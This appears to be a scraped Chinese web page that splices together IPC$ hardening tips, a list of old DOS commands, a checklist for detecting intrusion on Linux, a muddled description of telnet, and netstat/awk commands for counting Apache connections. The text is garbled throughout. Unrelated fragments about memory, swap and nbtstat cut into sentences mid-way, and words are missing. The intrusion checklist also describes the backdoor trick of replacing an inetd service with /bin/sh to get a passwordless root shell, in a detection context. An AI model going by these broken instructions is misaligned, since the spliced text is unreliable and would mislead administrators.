可能会有提示说,XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。
C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。
D、还有一个办法就是装防火墙,或者端口过滤
不常用DOS命令
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fast快速显示帮助信息
fc 文件比较 interink启动
setver 设置版本 IPC$命令详解: intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防 unformat恢复已格式化的磁盘
ver 显示DOS版本号 artdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
Linux是否被攻击怎么判断
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”以下几种方法检测linux是否被攻击:
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。1、检查系统密码文件
usage只表示了Linux管理内存的有效性。对识别内存瓶颈来说,Swap In/Out才是一个比较又意义的依据,如果Swap首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps –aef | grep inetd inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果看到输出了一个类似inetd –s
/tmp/.xxx之类的进程,着重看inetd
–s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中
也仅仅是inetd
–s,同样没有用inetd去启动某个特定的文件;如果使用ps命令看到inetd启动了某个文件,而自己又没有用inetd启动这个文件,那就说明已经有人入侵了系统,并且以root权限起了一个简单的后门。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉,然后重新启动inetd服务,那么net到上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和端口
输入netstat -an,列出本机所有的连接和的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、设置是否正确。
输入 ifconfig –a,查看网卡设置。
5、检查系统日志
命令last |
more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系
统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现
syslog被非法动过,那说明有重大的入侵。
在linux下输入ls –al /var/log
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的,也就是说并不能
保证成功入侵系统,而且通常会在相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core
–exec ls –l {} ; 依据core所在的目录、查询core文件来判断是否有入侵行为。
7、检查系统文件完整性
检查文件的完整性有多种方法,通常通过输入ls –l
文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V
`rpm –qf 文件名`
rpm来获得更多的格式。
linux下 net命令怎么用
etBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Interne$ free -mt 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。net命令通常用来远程登录。net程序是基于TELNET协议的远程登录客户端程序。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的 能力。在终端使用者的电脑上使用net程序,用它连接到。终端使用者可以在net程序中输入命令,这些命令会在上运行,就像直接在的控制台上输入一样。可以在本地就能控制。要开始一个 ner,run queue,可运行队列的线程数,这些线程都是可运行状态,只不过CPU暂时不可用;t会话,必须输入用户名和密码来登录。Telnet是常用的远程控制Web的方法。
查看当前linux有多少条链接 的命令语句
九、Nbtstat1、查看apache当前并发访问数:
free,可用的物理内存大小,KB 为单位;#对比d.conf中Maxs的数字距多少。
1、良好状态指标netstat -an | grep ESTABLISHED | wc -l
2、查看d进程数(即prefork模式下Apache能够处理的并发请求数):
ps aux|grep d|wc -l
3、可以使用如下参数查看数据
ps -ef|grep d|wc -l
#1388
#统计d进程数,连个请求会启动一个进程,使用于Apache。
#表示Apache能够处理1388个并发请求,这个值Apache可根据负载情况自动调整。
netstat -nat|grep -i "80"|wc -l
#4341
#netstat -an会打印系统当前网络链接状态,而grep -i "80"是用来提取与80端口有关的连接的,wc -l进行连接数统计。
#最终返回的数字就是当前所有80端口的请求总数。
netstat -na|grep ESTABLISHED|wc -l
#376
#netstat -an会打印系统当前网络链接状态,而grep ESTABLISHED 提取出已建立连接的信息。 然后wc -l统计。
#最终返回的数字就是当前所有80端口的已建立连接的总数。
netstat -nat||grep ESTABLISHED|wc
#可查看所有建立连接的详细记录
4、查看Apache的并发请求数及其TCP连接状态:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for (a in S) print a, S[a]}'
(这条语句是从 新浪互动社区事业部 新浪互动社区事业部技术总监王老大那儿获得的,非常不错)返回结果示例:
LAST_ACK 5
SYN_RECV 30
ESTABLISHED 1597
FIN_WAIT1 51
FIN_WAIT2 504
TIME_WAIT 1057
其中:
SYN_RECV表示正在等待处理的请求数;
ESTABLISHED表示正常数据传输状态;
TIME_WAIT表示处理完毕,等待超时结束的请求数。
5、输出每个ip的连接数,以及总的各个状态的连接数
netstat -n | awk '/^tcp/ {n=split($(NF-1),array,":");if(n<=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N} END {for(a in S){printf("%-20s %sn", a, S[a]);++I}printf("%-20s %sn","TOTAL_IP",I);for(a in s) printf("%-20s %sn",a, s[a]);printf("%-20s %sn","TOTAL_LINK",N);}'